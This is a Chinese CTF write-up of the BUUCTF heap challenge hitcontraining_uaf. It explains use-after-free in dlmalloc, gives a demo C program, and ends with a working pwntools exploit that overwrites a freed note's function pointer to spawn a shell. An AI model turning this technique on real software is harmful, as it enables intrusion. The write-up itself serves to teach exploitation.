[BUUCTF-Pwn]hitcontraining_uaf

以此题作为对Pwn中堆利用的学习的开始。堆题初见,肯定有许多地方理解不恰当,希望师傅们能多多指教。

0x00.简述

成因

应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。

示例程序

#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
printf("malloc addr: %p\n",p1);
p1[3]=echo;
p1[3]("hello world\n");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello again\n"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %p\n",p2);
printf("malloc addr: %p\n",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("/bin/sh");
return 0;
}

运行结果

0x01.检查保护

0x02.静态分析

经典菜单题,进入add_note函数查看,一次只能add一个结点,最多add5个

容易观察到notelist其实是一个结构体数组,大小为8个字节,其第一个成员为函数指针(4字节),指向print_note_content函数,其第二个成员也为一个指针(4字节),指向后续malloc指定大小的空间,因此在ida中的Structures窗口添加如下结构体定义

将notelist的类型声明改为如下所示

优化效果:

再看del_note函数,作用是删除指定下标的结点

未将指针置空,存在uaf漏洞

print_note函数,打印指定下标的结构体中buf的内容

在这个函数中会执行notelist结构体中第一个指针指向的函数,我们如果能把指针改为指向system("/bin/sh")函数,就能获得权限

后门:

0x03.动态调试

我们申请了两个结构体

堆中情况如下:

释放:

堆中:

bins:

0x04.思路

可以看到其实free过后只是更改了fd处的四个字节(插入到fastbin链表中),并没有”真正的释放“

本来,在buf(size为0x41的堆块)中fd对应的四个字节其实就是用户输入的内容的前四个字节,在指针型结构体(size为0x17的堆块)中fd对应的是print指针,即print_note_content函数的地址。现在,free过后,他们都被更改。

此时如果我们再申请一个结构体并在其内部给buf分配8字节的堆空间,就会用到fastbins中大小为0x10的两个堆

fastbin先进后出,所以原来的1号堆对应现在的指针型结构体,0号堆对应现在的buf,由于我们现在可以向buf中写东西,所以如果我们向buf中前四个字节处(也就是fd处)写入magic函数的地址,再次调用print函数尝试输出0号堆的内容时,它以为前四个字节(fd处的四个字节)是print_note_content函数的地址,而实际是magic函数的地址,所以执行的是magic函数,也就是system("/bin/sh")

简单说来,就是我们在最后print的是编号为0的堆块,它虽然已经被free掉了,但是指向它的指针没有置为null,指针仍然指向它,那么我们再通过该指针来调用它的时候,就会调用magic函数

0x05.exp

exp如下:

from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
p = process('./hacknote') def addnote(size, content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content) def delnote(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(index)) def printnote(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(index)) #gdb.attach(p)
magic_addr = 0x08048945
addnote(0x30, 'aaaa')
addnote(0x30, 'bbbb')
delnote(0)
delnote(1)
addnote(8, p32(magic_addr))
printnote(0)
p.interactive()

[BUUCTF-Pwn]hitcontraining_uaf的更多相关文章

  1. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  2. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  3. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  6. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  7. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  8. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

  9. [BUUCTF]PWN——mrctf2020_easyoverflow

    mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...

  10. [BUUCTF]PWN——0ctf_2017_babyheap

    0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...

随机推荐

  1. 过多if - else 的问题, 以及策略模式 + 反射解决方法

    策略模式解决if - else 的代码 业务场景: 外包企业的审批人需要审批打卡的场景: 审批人分为多种不同的级别,多种级别中具有方式相同但是内容不同的操作:审批. 原来场景: 有前端传来审批人参数, ...

  2. .NET 5学习笔记(11)—— Host Blazor WebAssembly in a Windows Service

    实在是被某软忽悠瘸了,愤而写此一篇.希望能让同样需求的同学们少走弯路.某软在<在 Windows 服务中托管 ASP.NET Core>中,介绍了通过创建Worker Service工程, ...

  3. Hi3559AV100 NNIE开发(3)RuyiStudio软件 .wk文件生成过程-mobilefacenet.cfg的参数配置

    之后随笔将更多笔墨着重于NNIE开发系列,下文是关于Hi3559AV100 NNIE开发(3)RuyiStudio软件 .wk文件生成过程-mobilefacenet.cfg的参数配置,目前项目需要对 ...

  4. [SPOJ2021] Moving Pebbles

    [SPOJ2021] Moving Pebbles 题目大意:给你\(N\)堆\(Stone\),两个人玩游戏. 每次任选一堆,首先拿掉至少一个石头,然后移动任意个石子到任意堆中. 谁不能移动了,谁就 ...

  5. springmvc 最权威的知识点

    1.什么是Spring MVC ?简单介绍下你对springMVC的理解? Spring MVC是一个基于Java的实现了MVC设计模式的请求驱动类型的轻量级Web框架,通过把Model,View,C ...

  6. jQuery学习笔记(2) jQuery选择器

     jQuery的选择器完全继承了CSS的风格,利用jQuery选择器,可以非常便捷和快速地找出特定的DOM元素,然后为它们添加相应的行为. 目录 目录 CSS选择器 jQuery选择器 jQuery选 ...

  7. 攻防世界 reverse 新手练习区

    1.re1 DUTCTF IDA shift+F12 查看字符串 DUTCTF{We1c0met0DUTCTF} 2.game ZSCTF zsctf{T9is_tOpic_1s_v5ry_int7r ...

  8. Vulkan移植GpuImage(二)Harris角点检测与导向滤波

    Harris角点检测 UI还是用的上次扣像的,只有前后置可以用,别的没有效果,只看实现就好. 相应源码 在实现之前,我先重新整理编译glsl的生成工具,如Harris角点检测中间计算过程需要针对rgb ...

  9. 一款轻阅读应用ReadIT,记录我的RN躺坑之旅

    背景 一款轻阅读应用ReadIT,支持功能:优质文章推送.评论点赞.计划制定.计划闹钟.天气预报.收藏文章.深浅两套主题.多语言切换.极光推送等功能.后续还会继续集成功能.前后端均自主研发,借鉴市面较 ...

  10. elasticsearch之Java调用本地代码

    虽然Java虚拟机为开发人员屏蔽了底层的实现细节,使得开发人员不用考虑底层操作系统的差异性.不过在某些应用程序中,还是免不了要直接与底层操作系统上的原生代码进行交互.今天我们就来看一下Java对本地调 ...